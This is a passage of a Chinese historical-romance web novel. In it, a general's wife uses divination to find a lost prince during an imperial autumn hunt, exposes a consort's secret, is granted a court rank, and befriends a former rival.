《你拖婚不娶?军侯万金聘礼堵我门》 第90章丢了小皇子 “哪里,您多虑了。”虞声笙温柔关切,“郭小姐伤势如何?昨日一切都乱糟糟的,我瞧大学士府的营帐进进出出都是人,就想着不便去打扰,今日再去探望,可巧夫人您就先过来了。” 她边说边给白夫人让座看茶。 言语自然而然,动作行云流水,无论听或看,都叫人心情愉悦。 白夫人不由得暗暗称奇。 这虞府养女原先毫不冒尖的,唯一响彻京城的名声还是她对慕淮安死缠烂打,被人拖了四年也不肯放手。 没承想,今日一见,与传闻大不相同。 威武将军府的这位新晋夫人,温柔娴雅,进退得体,很有大家宗妇的风范。 “这事儿是我家小妹莽撞了,合该她摔一次,也好长长记性!” 白夫人这是心里话。 “也是我一时贪玩,想着好不容易出了趟远门,就想放肆地玩一玩,却不想……害得贵府千金受伤。” 虞声笙回眸给了金猫儿一个眼神。 金猫儿立马取来一只匣子,双手交给白夫人身边的婆子。 “这是我家将军备下治疗外伤的药物,行军打仗之人少不了磕了碰了的,他给的药可要比外头寻常大夫给的更有效,也是我的一点心意,还望夫人莫要推辞。” 白夫人打开一瞧,那一盒盒装得齐整,隐隐药香扑面而来。 一看便知,这是虞声笙早就备下的。 对方说不准都算到自己会来。 “你才是有心了。”白夫人感慨。 送白夫人回去,虞声笙顺道一路过去探望郭文惜。 二人相谈甚欢,竟一时间引为知己。 虞声笙话不多,但总能一针见血,又点到为止。 这样老练的人情世故,就算十个郭文惜都比不上。 来到大学士府的营帐内,虞声笙又跟郭文惜说了一会子话。 郭文惜紧绷着脸,眼睛不去看她:“多谢你来看我……” “应该的,药可吃了?大夫怎么说?” 郭文惜心道:我与你也没这样熟吧,凭什么你问什么我答什么? 可话却抢先一步脱口而出:“大夫说这七八日还要静养着,方能好得快。” 刚说出口她就后悔了,满脸傲娇不服,偏偏那双眼睛透着水润。 等白夫人出去的空档,她扯住虞声笙的衣袖:“你是怎么知晓我昨日与金反冲的?” 虞声笙笑道:“自然是算出来的。” 开始比试之前,她替郭文惜算了一卦,卦象一目了然。 “胡说!哪有这样神的!” “你不信就算了,横竖你如今也应验了我说的话,好好将养着便是。”虞声笙才不在乎对方信不信。 郭文惜咬唇不语。 这也是她怎么都想不通的地方。 那马鞭是爹娘送给自己的,她爱若珍宝,从不假手于人,府里上下也就贴身丫鬟知道这宝贝的存在,虞声笙是断断不可能知晓。 可为什么……偏偏是马鞭出了问题,还刚好应了她说的! 难不成,她真的能掐会算? 再瞅瞅虞声笙那张过分年轻的脸,郭文惜立马否定了这个想法——要说是个七老八十的道士和尚说这话,她还有的信;一个年纪轻轻的主母,又是闺阁出身,怎么可能会这些?一定是凑巧! 念及此,她轻哼一声:“巧言令色,就你会吹牛骗人,我再不信你的。” 虞声笙:“信与不信的,都是姑娘你自个儿的主意,与我无关呐。” 郭文惜:…… 略坐了一会儿,又吃了白夫人亲手烹制的茶,虞声笙才告辞离去。 外头有不少贵妇都瞧见她从大学士府的营帐内出来,众人都明白,昨日一场比赛并未破坏两府的交情;恰恰相反,双方有了与彼此往来的先机。 秋猎的日子,对众官宦女眷而言,是难得的放风机会;对虞声笙来说,更是重温童年时光的绝妙时机。 等安顿了三五日,她渐渐摸清了四周的环境。 知道哪里有温泉,哪里有枫叶,哪有成熟的果子悬在枝头;她领着丫鬟婆子,自去赏景作乐,就着温泉吃鲜甜的果子,人生畅快也不过如此了。 闻昊渊得空,也跟着一同尝试了一回,顿觉新鲜有趣,便将这法子禀告给了皇帝。 秋日野炊,围绕着清凌温暖的泉水,品着野味鲜香,又不失曲水流觞的优雅别致,极大地取悦了文武两边的官员,都对皇帝这个提议赞不绝口,一时间恭顺朝贺不绝于耳。 皇帝吃着被温泉暖过的酒,笑道:“这可不是朕的主意,这是闻爱卿内子的法子!亏得她想来,竟能想出这般文雅风趣的玩法,当真是奇思妙想。” 就这样,虞声笙什么都没做,就换来了皇帝的褒奖。 众女眷这一回没人敢议论纷纷了。 陛下金口玉言都这么说了,她们自然也将虞声笙当成新贵来捧着。 虞声笙不由得感慨——居然有一天,自己还能尝一回众星捧月的滋味,也是难得了。 又是一次欢乐的宴饮,夫妇二人都多吃了几杯,相偕回营帐休息。 正睡得迷迷糊糊时,只听外头一阵喧闹嘈杂,惊醒了闻昊渊。 本就是武将,他的耳力远超常人。 不过须臾,人已经彻底醒了,再看看身边依旧酣睡的虞声笙——她侧着身子抱着被褥,睡得始终深沉。 闻昊渊替她掖了掖被角,不着痕迹地换上衣衫出去一瞧。 外头已经围拢了不少人,正在上首的女子一身桃粉华服,哭得梨花带雨,跪在皇帝脚边不断哀求着:“陛下!!是臣妾无能,臣妾连孩子都看不住!!十四皇子年幼,这深更半夜的,又在猎场这儿跑丢了,要是有个什么万一,臣妾万死难辞其咎!” 这是——叶贵妃。 这次伴驾出行,除了皇后,陛下只带了这一位嫔妃,可见叶贵妃受宠。 十四皇子正是叶贵妃所出,今年刚满六岁。 原来,傍晚时分众人散去,都知道夜深秋凉的厉害,谁敢借着酒劲在外闲晃,要是染了风寒可不是说着玩的。 今夜陛下并未召幸叶贵妃,而是与皇后同宿。 也不知怎么的,叶贵妃吃得醉醺醺的,半夜起来找茶吃时,宫婢才发现睡在一旁的小皇子不见了! 这一发现非同小可,吓得叶贵妃酒也醒了,瞌睡也跑了。 命人四下寻找,可行宫中哪里还有小皇子的踪影。 皇子丢了可是大事,叶贵妃哪敢欺瞒,第一时间便禀告陛下,发动了行宫周边的护卫四散开来寻找。 找到现在,依旧一无所获。 猎场靠近山脉,到了晚间本就比京城里要凉寒很多。 随着时间点点滴滴的流逝,叶贵妃越发惶惶不安。 闻昊渊很快加入人群中,领着护卫将搜查的范围扩大了。 他回头瞥了一眼叶贵妃,想了想,还是什么都没说。 夜越发深邃。 始终不得小皇子的踪迹。 即便沉稳如泰山,这会子皇帝也有些按捺不住。 众人都加入进来,就连前不久受伤的郭文惜都出了营帐帮忙。 被惊醒的虞声笙打了个哈欠:“外头出什么事了?怎么这样吵?嗯?将军呢?” 第91章主动请缨 金猫儿快速将事情说了一遍,“现在外头乱成一团,咱们将军也去领着人找了,还没找到呢!” 几个丫鬟也忧心,满脸不安。 丢了小皇子,秋猎黄了不要紧,要紧的是龙颜震怒,到时候牵连到其他无辜的人那就惨了。 虞声笙揉了揉耳朵,让自己清醒一点。 披上一件厚实的狐皮披风,她走出营帐。 抬眼便是清澈的天,星斗散落,明月高悬,连一片碍事的云都没有。 四周燃着火把,从更远处一点一点延伸出去,像极了地面上燃起的星,可这星远没有头顶上的安静自在。 略看了一会儿,她掐着素白的手指算了算,心中有数了。 她快步走向人群中,很快找到了闻昊渊的方位。 “你去帮忙跟陛下或是贵妃说一声,我有法子找到小皇子。” “你确定?”闻昊渊沉默片刻,“这事儿表面上看是丢了一个皇子,实际上并不好说……宫中贵人们身边不乏那些个腌臜事,我不想让你脏了手。” “这话说的。”她浑然不以为意,反而笑得更欢快了,“你我早已身在局中,这会子说撇清已经太晚了,除非你舍下将军府不要,与我远走高飞做一对自由自在的鸳鸯。” 闻昊渊愣住。 “这不可能,对吧?”她眉眼弯弯,“即便你想走,我都不愿呢。” 她是真正吃过苦的。 什么情爱缠绵,山盟海誓,哪里比得上实打实的富贵? 去播种耕地、去挑水种菜、去割草喂猪……一天忙下来看看还有没有闲情逸致想这些。 这都是风调雨顺的丰年光景了,要是遇到那老天不给活路的时候,吃了这顿没下顿,能过一天是一天。 虞声笙那会儿在庄子上已经算过得不错的了。 虞府并未彻底不管她,每月还是送了银米来的。 她亲眼看见过饿死在田边的人,当真只剩下一把骨头。 是以,虞声笙抓住机会回府,就绝不会再让自己过苦日子,不但不要,她还会竭尽所能让自己过得更好。 夫妻二人四目相对。 许是看出了妻子的坚定,又或是明白她这话的真实,闻昊渊轻笑:“夫人说的是,是我糊涂了,你跟我来。” 有了闻昊渊的举荐,皇帝不由得多看了虞声笙两眼。 “你说你能找到小皇子,可是真的?”皇帝问道。 “只须小皇子殿下的生辰八字即可。”虞声笙跪在跟前,不卑不亢道。 叶贵妃一听,俏丽的脸上闪过一抹惊慌,很快又镇定下来:“大胆!皇子的生辰八字岂可随意告知尔等臣下?” “回娘娘的话,眼下难道不是先找回小皇子更重要么?”虞声笙低眉顺眼,柔声劝说,“更深露重,小皇子年幼,独自在外的时辰越久,越不利,还请陛下三思,人命关天!” “臣妾觉着,闻将军夫人所言极是,此一时彼一时,不能为了这些繁琐的规矩反而送了孩子一条性命。”皇后缓缓出声,“陛下,横竖这会子找不到人,不妨让将军夫人试一试,同时也叫那些侍卫们不停寻找,咱们做两手准备,岂不更好?” 皇帝赞同:“梓潼所言深得朕心,确实如此。” 他看向虞声笙,“那你就试一试吧,不过朕可把丑话说在前头,若你无用,朕可不会网开一面。” “多谢陛下,还请陛下拭目以待。” 虞声笙起身,从斗篷中拿出早就随身携带的卦盘。 又取下手腕上的红绳铜钱。 她抬眼询问贵妃小皇子的生辰八字。 叶贵妃脸蛋一白,语气似有艰涩,但到底还是说了出来。 虞声笙抬手起卦,红绳在月光下仿若盈盈泛着暗芒,铜钱叮当作响,一色古韵清越,穿透人心。 谁也看不穿她是怎么做到的,竟能让那几枚铜钱同时旋转停止,最终停在了几个方位上。 她收起卦盘铜钱,与闻昊渊耳语几句,随后夫妇二人一同拜别皇帝:“陛下,请静候佳音。” 二人领着一队侍卫消失在了夜色中。 皇后走到叶贵妃身边安抚:“妹妹别难过,本宫相信翃儿不是福薄的孩子,吉人自有天相,他必定会平安归来。” 叶贵妃拭泪不断,垂眸轻轻颔首。 她偷偷抬起的眼睛里透着几分叫人看不懂的狠厉,一闪即逝。 约莫小半个时辰后,闻昊渊真的抱着一个孩子回来了! 众人又惊又喜。 瞧那孩子身上穿着的衣衫,又玲珑乖巧的模样,不是十四皇子又是谁? 皇后松了口气:“太好了!臣妾就说,有陛下龙气护佑,必定能平安归来的。这闻将军的夫人当真奇女子!” “可不是!虞府把她藏得可真深呐!” 小皇子似乎有点吓傻了,木木地不开口。 叶贵妃伸手要抱,却被虞声笙一句话打断了动作。 “启禀陛下,小皇子深夜走丢,多半是丢了魂魄,得让小皇子殿下靠近帝后,方能压住,才能保殿下安然无虞。” “有几分道理。”皇帝频频点头。 就是民间也有孩子丢了魂的说法,确实需要八字贵重之人压一压。 “那就先让小十四待在你身边。”他看向皇后。 “臣妾遵旨。” 闹了这么久,总算有惊无险,众人都松了口气,得了皇帝的应允后,这才各自散去休息。 皇帝传来了一同前去的侍卫问话。 侍卫知无不言言无不尽。 “说来也怪,那地方有一条岔路,被野草覆盖,原先并没有人察觉,更没有记在猎场的舆图上;是以属下众人没能察觉到,是属下的失职。可那将军夫人像是早就知晓有这条路似的,对着星斗掐指算了算,就领着咱们在那条小道的尽头找到了十四殿下。” 皇帝沉默不语,只呷了一口茶。 那侍卫又道:“不过,那位夫人找的时候却说了一句奇怪的话。” “什么话?” “夫人说,不对,还好今夜天晴,星斗明朗,不然就不好说了。” 这话听着确实没头没脑,听不明白。 但好在小皇子平安无事归来,皇帝也能松口气。 他不再年轻,宫中的孩子越多越好,何况小十四也是他爱重的叶贵妃所生,更是他的心头肉。 此刻,夫妻二人已经回到营帐外。 一个不速之客正等着他们。 慕淮安面孔冰冷,目光紧逼。 等他们二人刚到跟前,他就冷冷质问:“为何这样莽撞?那是天子,丢了的是皇室血脉,旁人躲还来不及,你倒好,一头扎了进去!万一要是有个什么不对,你预备如何脱身?” 他又看向闻昊渊,眉间越发拧紧,“你为何不拦着她?就由着她这样胡闹不成?” 闻昊渊:“我信她,大不了出了事我替她担着。” “你替她担着?”慕淮安被气笑了,“你如今是炙手可热,可你这般纵着她,又能护她几时?简直可笑,一介莽夫!” 虞声笙不乐意了:“关你什么事?这是我们两口子决定的事情,无关人等没资格在这儿指手画脚,我夫婿是莽夫,那你又是什么?大半夜的不睡觉,跑别人营帐门口撒泼撒气,又是谁教给你的规矩!” 第92章多管闲事 她口齿伶俐,跟连珠炮似的一句接一句,字里行间都是对丈夫的维护。 慕淮安撞上那双清澈透亮的眸子,陡然想起那一日雪天漫地,她在一簇簇盛放的梅花间对自己冷漠的模样。 好像就是从那一天起,虞声笙就不再追着他跑了。 就从那一天起,她说自己要大婚。 她从那一刻起,就明白自己要嫁的不会是他! 可他却被蒙在鼓里,还以为……就算他如何折腾,镇国将军府与虞府的婚约不会变,不过是晚了几年。 莫名的,心头堵得难受。 “我只是关心你——” “用不着慕小将军假仁假义的!就算出事了也是我们威武将军府自己担着,绝不会连累你镇国将军府的,说是认了义亲,可咱们毕竟不是亲兄妹。” “还请慕将军将心放回肚子里吧。” 虞声笙的话又快又锋利,像极了一把磨炼多日、寒气四溢的剑刃,毫不留情冲着他劈过来,堪称手起刀落。 慕淮安难受极了,偏又无处发泄。 “还有,请慕小将军往后对我夫婿礼貌点;论功绩,他远在你之上;论官职品阶,他可是一品军侯府的继承人,而你——” 她双手交叠着摆在身前,微微昂起下巴。 只见流畅的下颌处一片清秀冰冷。 她从眼角处打量几番,似笑非笑道:“如果我没记错的话,慕小将军如今还不曾正式接手镇国将军府吧?” 闻昊渊补了一句:“还没,镇国将军的封号还在慕老爷子身上。” 他们夫妻二人一唱一和的对话,听得慕淮安满脸铁青,几乎站不住。 最终,他猛地一甩手从虞声笙身边擦过。 “算我多事,吃饱了撑得来关心你!” 虞声笙觉得莫名其妙:“这人真奇怪,我又没让他来关心我,他自己跑来添堵,还怪咱们喽?真看不懂……” 闻昊渊深深凝视着慕淮安的背影。 末了,心直口快的男人来了句:“他不是奇怪,他只是后悔了。” “后悔什么?” “后悔与你解了婚约,更后悔看着你嫁给了我。” 虞声笙再也没想到闻昊渊说话会这样简单直白。 不带任何拐弯抹角,反而要比一般话语更直击人心。 她眨巴了两下眼睛:“那是他的事情,与咱们无关。” “好。”闻昊渊又开心起来,搂着她的后腰,“你起来忙了大半夜也该歇歇了,赶紧睡吧。” 她打了个哈欠:“睡觉前看见慕淮安那张脸,我好怕一会儿会做噩梦啊。” “不怕,有为夫在。” 折腾了半夜,翌日一早,虞声笙成功睡到了日晒三竿才起来。 闻昊渊早就出去了。 今日猎场又是一番比拼,他可不能缺席。 见自家夫人醒了,金猫儿与今瑶有条不紊地忙活起来,领着其他几个丫鬟很快就给虞声笙更衣梳妆,还上了暖心暖胃的甜茶。 “夫人,一早行宫那边就来人了,说是夫人睡醒了须去行宫谢恩。”金猫儿道。 “谢恩?”虞声笙迟疑片刻,顿时心花怒放。 她就知道! 昨天救下了小皇子,今日必定有好事。 只是…… 想起昨晚上的某一处意外,那原本灿烂的笑脸有些发沉。 又简单用了些粥饭点心,虞声笙才走出营帐。 到了行宫阶下,自有得了吩咐的小黄门领着她进去。 这会子,帝后都跟在小皇子身边陪着。 经过一晚上的休整,孩子明显状态好了许多。 虞声笙依着规矩请安见礼。 皇帝见是她,笑眯眯地让她起身:“你昨日帮了朕一个大忙,若不是你,小十四还不知什么时候能平安归来,说说看,你想要什么赏赐?” 这话确实不作假。 秋夜天亮,又在山间。 一个小小的几岁孩童,哪里能受得住寒冷侵袭? 就说抗不过去,冻死的都有。 多亏了虞声笙及时出手,才能让小皇子有惊无险、安然无恙。 皇后闻言,也温柔笑道:“你也不必客气,想要什么恩典只管说来便是,这是你应得的。” 虞声笙垂眸:“陛下与皇后娘娘既这么说了,那……臣妇直言不讳,若言语有冒犯之处,还请陛下与皇后娘娘见谅,臣妇自幼长在乡野间,有些时候实在是粗鄙不堪,难登大雅之堂。” “臣妇原先在乡间就听他们说起过,说贵人有品阶,官宦府邸的太太奶奶自然也有封号;臣妇不才,虽有幸觅得佳婿,但总觉得自身低微,多少有些配不上,今日得蒙圣恩,斗胆开口,求陛下给臣妇一个相配的品阶。” 说着,她盈盈拜倒,口中称着多谢万岁隆恩。 “这孩子……”皇后忍俊不禁,“倒是直白,臣妾很喜欢这样说话直接的晚辈,免得猜来猜去,省了好多功夫心神。” “梓潼所言有理,只是品阶也有高低,你想要几品呢?”皇帝问道。 “臣妇不懂,任凭陛下赏赐。” 皇帝沉思片刻:“论理,昊渊继承了闻家一品军侯的品阶,你作为其正室妻子应该也为一品诰命夫人;但你们夫妇二人太过年轻,昊渊也不曾站稳脚跟,荣宠过重眼下对你们而言并非好事;这样吧,赐你三品淑人的品阶,你可满意?” “多谢陛下,陛下隆恩浩荡,臣妇感激不尽!” 虞声笙真的很快活,笑得眉眼开花。 这样简单明了的高兴足以感染在场的每一个人。 小十四瞧了,也忍不住开口,声音糯糯的:“这位姐姐笑起来好好看,嘴角边上还有梨涡。” 帝后闻言,对视一笑。 皇后叮嘱虞声笙,封淑人一事,还要等秋猎结束回宫,才能正式御发明旨,在这之前希望她能安分守礼,不要说出去。 虞声笙哪有不明白的,立马点头答应。 开玩笑,只要能拿到品阶傍身,不就是晚些个时日,不打紧的! 她也不是碎嘴子,得了点好处就到处炫耀。 在乡间长大,见惯了嫉妒不甘,有些事情还是闷声发大财的好。 欢欢喜喜谢恩离去,虞声笙走之前还给了小十四一枚自己做的草编蚱蜢,活灵活现的,煞是有趣——乡野长大的孩子会做这些,再正常不过。 小十四很喜欢,拿在手里玩着不放。 从行宫出来,虞声笙迎面遇上了叶贵妃。 一夜过来,失而复得的叶贵妃并没有瞧出脸上有多少欢喜,反而面露疲态,眼下青黑,看着虞声笙的眼神也多了几分忌惮与厌恶。 虞声笙退后两步,规矩见礼。 “早就听闻威武将军府娶了个不得了的女子为妇,今日一见,果真不一般;你能在两座将军府之间游走摇摆,还能哄得京中最风光得意的两位少年郎君为你争风吃醋,你可得意坏了吧?” “所以,你才会在昨个晚上主动请缨,在帝后跟前博一个出头的机会——” 叶贵妃边说边绕着她缓步走,目光冰冷森然。 “真瞧不出来,你一个年纪轻轻的小丫头,二十都不到的年纪,竟有如此心机。” 虞声笙浑然不觉,垂眸浅笑,低声道:“不敢,只是臣妇有句忠告想告诉贵妃娘娘。” 第93章贵妃的秘密 “忠告?”叶贵妃像是听到了什么好笑的事情,蹙眉嘲讽,“本宫抬举你两句,你还真以为是个人物了?” “贵妃娘娘昨日告知的生辰八字有误,并不是小皇子的,关于这一点,臣妇早就心知肚明,只是没有当着陛下的面揭穿,臣妇觉得,这已经是向贵妃娘娘极大的投诚与示好了,怎么贵妃娘娘不明白呢?” 虞声笙微微撩起眼皮,笑容灿如春花。 叶贵妃却如五雷轰顶,连退几步,难以置信地盯着眼前的年轻夫人。 虞声笙又笑道:“我若是娘娘,今日就不会来找,您在后宫中已是一人之下,众人之上,有陛下的宠爱,有皇后的信任,膝下还有一子相伴,多幸福多令人羡慕呀。而我呢,不过是虞府养女,得蒙苍天垂怜,才能有一桩婚事傍身,免得叫我流离失所,真成了嫁不出去的老姑娘。” “我这样的人,对娘娘而言就是蝼蚁,娘娘不必屈尊降贵为难臣妇;相反,臣妇反而更想追随娘娘身边,求一个庇护。” 叶贵妃终于镇定下来。 她警惕地上下打量着对方。 好一会儿,她才冷哼:“倒是伶牙俐齿,不知方才在帝后跟前是否也这般巧言令色?” “自然。” 叶贵妃很想追问。 但此处多有不便,小皇子又在皇后身边,一击不成,她就不能轻举妄动,多生事端反而会把自己栽进去。 掌心握紧又松开,她用帕子擦了擦那不断浮起的冷汗:“时候不早了,夫人还是早些回去吧。” “多谢贵妃娘娘。” 虞声笙恭顺行礼,礼数周全后才缓缓离去。 目送着她的背影,叶贵妃越发心中不安,低声询问身边的心腹奴仆:“董嬷嬷,你说她……真的已经知晓了么?” “娘娘,旁的老身不知道,也不敢乱开口;就昨日这将军夫人展露的一手,老奴确定她是有点本事在身上的,此时多一事不如少一事,横竖孩子还小,往后有的是机会。”董嬷嬷宽慰道。 “可她若是说出去呢?” 叶贵妃不敢想。 “污蔑当朝贵妃,她有几个脑袋够砍的?” 董嬷嬷一句话成功让叶贵妃舒坦了不少。 “是啊,她哪有证据,就那怪力乱神的话,谁又能信呢?”她松了口气,“罢了,回宫之前且让孩子在皇后身边多住几日吧,本宫到底……抚养了他几年,真要下手,也于心不忍。” 话说到最后,叶贵妃竟喉间发紧,一阵哽咽。 此刻,虞声笙已经欢欢喜喜地回到自家营帐内。 见夫人满脸轻松,原本紧绷的丫鬟们也放缓了不少。 虽还未到返回的时候,虞声笙已经让众人开始打点箱笼了,主要为了能多腾出一些地方来,她好带些山野珍馐回府慢慢享用。 别的不说,猎场里每天都有新鲜的野味。 或蒸或炖或烤,怎么吃都鲜味满满。 虞声笙是很会钻研美味的人。 那会子在庄子里,她就会用最贫瘠的食材弄出最好吃的饭菜来。 连着吃了好几日的山珍海味,皇帝的身子吃不消了,只觉得腹中嗳气鼓胀,难以消化;太医开了健胃消食的汤药,皇帝吃了两盏,也觉得不见什么效。 这时,虞声笙用猎场林子里发现的野菜,做了一道野菜煎饼,让闻昊渊孝敬给了皇帝。 皇帝吃了之后,倒觉得比汤药更得用。 不但肠胃轻松通畅了,原先的憋闷不快也一扫而空。 就这样,威武将军府的夫人连着两次得了陛下褒奖,陛下夸她贤惠能干,毫无娇奢之气,堪为年轻一代宗妇之表率。 这评价不可谓不高。 一时间,有些对虞声笙依旧颇有微词的人也安静下来。 谁想不开跟陛下的金口玉言对着干呢…… 却说郭文惜,在榻上躺了几日,每天定时定点地吃药上药,伤势好得挺快,临近秋猎结束时,她终于可以出营帐散散步了。 白夫人陪着小姑子一道。 主要是怕她又出什么幺蛾子,她这个嫂子可再也承受不起。 远远瞧见威武将军府的营帐门庭若市,好些太太奶奶们说说笑笑地进出,似乎与虞声笙前所未有的交好。 郭文惜奇了。 自己才没出来几天呀,怎么就变了? 什么时候虞声笙竟然能成为京中贵妇争先结交的对象,自己居然毫不知情! 白夫人无不羡慕地跟小姑子说了这几日发生的事情。 听完后,郭文惜面色复杂,欲言又止。 “我可提醒你,你不要再跟她别苗头了,都是京中高门女眷,就算你不管不顾的,我与你大哥,还有爹娘可都是要脸的,没的学那些个泼妇吵得天昏地暗,咱们府里可丢不起这个人。”白夫人边说边抬手替小姑子理了理衣襟,面上一片严肃警告。 “我晓得啦,我是那种没有轻重的人么……”郭文惜耷拉着眼皮。 “原先就是。” 白夫人也不想太过打击小姑子。 自己这个小姑子其实人不坏,就也有一番热心肠,就是容易一根筋,要是一开始方向歪了或是听信了什么人的谗言,那就很能酿出祸端来。 参考原先她替徐诗敏出头,其实就是这个逻辑。 这件事,郭文惜自知理亏,无言以对。 过了一会儿,她将之前比试赛马时,虞声笙对自己说的话一股脑倒给了嫂子,随后无比惊奇道:“真没想到,我还以为她是瞎猫碰上了死耗子,碰巧说中了而已;可瞧瞧她寻到了十四皇子,分明是有点真本事的。” “可不是……”白夫人一阵感慨,“旁人都会琴棋书画,偏她不一样,我瞧着闻将军对她言听计从的,陛下与皇后娘娘也对她青眼有加,这一次返京后,怕是还有更多赏赐下来,这将军夫人可不得了哟。” 郭文惜眼睛放光,直勾勾地看着威武将军府的营帐。 ——虞声笙能掐会算欸!听着好有趣! 既来之则安之,无论白夫人,亦或是郭文惜,其实骨子里都是坦荡大方之人,有些事情看明白了,也放下了,反而更好相处。 见小姑子想要结交,白夫人也乐得顺水推舟。 姑嫂二人一同去威武将军府的营帐拜访。 虞声笙待客忙得脚不沾地,笑得脸颊都快僵了,冷不丁瞧见郭文惜,嘴角的笑容收了收。 郭文惜见状:“怎么,不欢迎我么?瞧见我来了就这副表情……” 白夫人想去捂她的嘴也已经晚了。 郭文惜说出口就后悔不迭——自己怎么这么耐不住! 虞声笙好笑地看着她满脸懊悔。 “对、对不住,我这人说话不过脑子,还请将军夫人莫要往心里去。”郭文惜涨得满脸通红,到底将这句话说得很清楚。 白夫人暗暗松了口气。 “无妨,只是觉得与郭姑娘不是头一回打交道了,怎么着也算熟人,当着熟人的面就不想装了,这一日下来可把我累的……” 虞声笙叹了一声,接过今瑶递来的茶盏,哐哐就是几口灌下。 郭文惜眉眼放光:“我也不爱应付这些个,但没法子,我娘说了有时候不得不……欸,对了,我听说你找到了小皇子,你怎么办到的?” 说着,她顺势坐在了虞声笙的对面。 第94章专属于獐子肉的友情 那架势模样,要说她是虞声笙的手帕交都不为过。 白夫人瞧着,刚刚放下的心又悬了起来,暗暗腹诽:下回绝不带小姑子出来了,要带也不是她带!! 好在虞声笙并未介意,她只是温柔地笑着,来了句:“天机不可泄露。” 越是这般神秘,越是能引起郭文惜的好奇。 她话多又天真,问得还挺直接,倒惹得虞声笙忍俊不禁。 聊了一会儿,见她们说得有来有去的,白夫人捏着帕子的手总算松开了些。 正说着,闻昊渊回来了。 郭文惜如今再见他,也就耳根微烫了一下,眼神清明坦荡,躲在嫂子身后对着他们夫妇行礼告辞。 小儿女那一瞬的旖旎心思已经看开,郭文惜反而觉得轻松不少。 回去的路上,白夫人纳闷道:“我还以为你会跟将军夫人闹起来。” “嫂子,我是年轻冲动,可我又不是真傻。” 郭文惜从前有些犟头犟脑,自己认准了的事情或是道理,不碰了个头破血流绝不会反省,这段时日波折不断、吃亏不少,总算让她冷静下来。 再回头看看,想想自己亲身经历的一切,她多少也看明白了。 表面温柔乖顺,实则暗藏锋芒的虞声笙未必是坏人,而一向柔声细语、温良和善的徐诗敏也不一定好到哪儿去。 她将这话说给白夫人听。 白夫人揉了揉她的头发,无比宽慰:“妹妹当真是长大了。” 一场秋猎正式落下帷幕,启程回京的那一日,虞声笙足足空出七八只箱笼,专门用来摆放这些野味。 几天前,闻昊渊见她忙得脚不沾地,凑过来要帮忙。 很快,他就被自家夫人嫌弃了。 “你还是去外头守着吧,这儿这么多奴仆,我有的是帮手,一会子要是他们不得用,我再去寻你便是。”虞声笙忙得额头上全是汗,根本顾不过来。 这些野味想要保存更久,须得趁着新鲜收拾。 或烤或熏,她有的是农家的土法子将它们全都料理完毕。 比如,弄了个土坑,选了几种新鲜采下的植物以火熏烧,将野味埋在地里,隔着土壤以热度熏干表面的湿软,那香味别具一格,传出去很远很远。 郭文惜瞧着好奇,忍不住过来凑热闹。 “这样能好吃么?”她摸摸鼻尖,还将自己带来的奴仆遣去虞声笙身边帮忙。 见郭大小姐这样识趣,虞声笙也很大方地分享了这个法子。 “好吃,可好吃了!而且熏过之后,这肉能放很久,每每要吃的时候,割下一块来,或跟青笋炖了,或上火烤了,滋味别提多美。”虞声笙回想起儿时在山野间觅食的画面,差点流口水。 “烤的时候要是能涂上一层蜂蜜,那就更香了,最好是野蜂的蜂蜜,薄薄地涂上一点就成。” 郭文惜听着,情不自禁地咽了咽,“野蜂蜜我家庄子上有,回头我给你带两罐。” 虞声笙听懂了她的意思:“好呀,那就等你的蜂蜜了,到时候咱们痛快吃一顿,我府里还有私藏的好酒。” 郭文惜小鸡啄米似的拼命点头,两眼放光。 美酒佳肴,对坐而谈,想想都觉得是一种享受。 威武将军府的夫人忙了多久,郭文惜就陪了多久,还从中见缝插针地帮忙,倒也省了虞声笙不少事。 待所有东西收拢完毕,她送给郭文惜一根已经烟熏过的獐子腿。 郭文惜高兴坏了,让奴仆们抬着回去。 白夫人见状哭笑不得。 转眼,到了启程的前一夜。 徐诗敏再也忍不住,只带着贴身丫鬟盈袖,匆匆来了一趟大学士府的营帐,要见郭文惜。 白夫人皮笑肉不笑地迎上前:“大奶奶来得不巧了,我家文惜这会子不得空,不如回京后再下帖子做客吧,有的是说笑解闷的时候。” 白夫人不喜欢徐诗敏。 之前因为徐诗敏,害得全家颜面尽失。 或许那会子郭文惜还会以为徐诗敏是好心办坏事,但白夫人可不这样想,她从头到尾都觉得徐诗敏不是什么好东西,就是个温婉模样、漆黑心肠的美女蛇! 能抢旁人未婚夫的女人,能好到哪儿去? 白夫人眼底的厌恶太过明显,刺得徐诗敏不好意思再待下去,勉强打了个圆场,又灰溜溜地离开。 她刚走,郭文惜就从白夫人身后探出头来。 “可算走了?” “走了。” 郭文惜长舒一口气:“那可太好了。” “怎么,你不是把她当成自家姊妹的么,今儿居然会对人家避之不及,是何道理?”白夫人笑问。 “嫂子您就别笑话我了。”郭文惜瓮声瓮气,“我也算看开了,总跟她一块玩,被人卖了都不知晓!” “难为你开窍,娘也该放心了。”白夫人双手合十,口念佛号。 这一夜,除了徐诗敏,还有一个人辗转反侧睡不着。 不是别人,正是江姨娘。 小皇子丢失事件,彻底打乱了她的计划。 不但行宫内外守备森严,就连各家各府营帐外也日日都有身强体壮的家丁小厮留守。 大家可不想再来一次意外风波,最后牵连自己。 这么一来,江姨娘想要接近威武将军府就成了痴人说梦。 而那昀哥儿,自从将军夫人赛马比试之后,他也整日跟在虞声笙身边,亦步亦趋;就算晚间,他也会跟一众管事奴仆凑在一处,叫江姨娘无法接近。 心中忐忑,难免焦躁不安。 江姨娘又一次与瑞王发了脾气。 起因,是她从瑞王处无意间听闻陛下要册封虞声笙的事情。 “什么?三品淑人?王爷莫不是在同我说笑吧?” 江姨娘瞪圆了眼睛,简直不敢相信自己的耳朵。 自己原先也想要个诰命傍身,要的也是三品淑人,没想到瑞王的面子还比不上区区一内宅女眷! 陛下不但没有答应,还把瑞王叫进宫中语重心长一番。 事后,这事儿就不了了之了。 如今听说一个年纪轻轻的女眷轻而易举就拿到了三品淑人的诰命,叫她如何甘心? 想起虞声笙那日对昀哥儿的维护,江姨娘早就将其视为讨厌的绊脚石。 瑞王道:“陛下与皇后都有这个意思,想来错不了。” 江姨娘不依了:“她才多大,就得封三品淑人?我陪着王爷风里来雨里去的,便是刀山火海也去过了,不就是一个妾室出身,为何连我都拿不到,偏叫一个年轻的丫头片子踩在我头上?!” “王爷……那些年受的苦,妾身也不说什么了,妾身也不指望要什么正妃之位,原是我不配的!妾身只想要这么一个诰命傍身,往后也能有个依靠,连这都不成么?” 说话间,她又气又伤心,没一会儿就哭湿了半条帕子。 瑞王心软。 又知晓是自己亏欠了江姨娘,一时语塞。 